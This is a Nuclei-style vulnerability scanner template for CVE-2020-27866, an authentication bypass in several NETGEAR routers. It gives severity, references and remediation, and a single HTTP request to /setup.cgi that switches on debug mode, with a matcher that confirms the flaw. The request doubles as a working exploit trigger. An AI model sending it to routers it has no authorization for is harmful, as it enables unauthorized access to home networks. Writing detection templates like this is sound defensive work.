id: CVE-2020-27866

info:
  name: NETGEAR - Authentication Bypass
  author: gy741
  severity: high
  description: NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers are vulnerable to authentication bypass vulnerabilities which could allow network-adjacent attackers to bypass authentication on affected installations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify network configurations, intercept traffic, or launch further attacks.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to fix the authentication bypass vulnerability.
  reference:
    - https://wzt.ac.cn/2021/01/13/AC2400_vuln/
    - https://www.zerodayinitiative.com/advisories/ZDI-20-1451/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27866
    - https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27866
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-27866
    cwe-id: CWE-288,CWE-287
    epss-score: 0.9036
    epss-percentile: 0.99616
    cpe: cpe:2.3:o:netgear:ac2100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: ac2100_firmware
  tags: cve,cve2020,netgear,auth-bypass,vuln,vkev

http:
  - raw:
      - |
        GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Debug Enable!'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100856b723aff1a82ec435f2d4a547e7b6c3dc29b2570d3bdc970118912d94291c1022056fdc705d55d8e7c6be777ba8ccb23351fd9ed88cf5a74047f4bbe9c1354a5ac:922c64590222798bb761d5b6d8e72950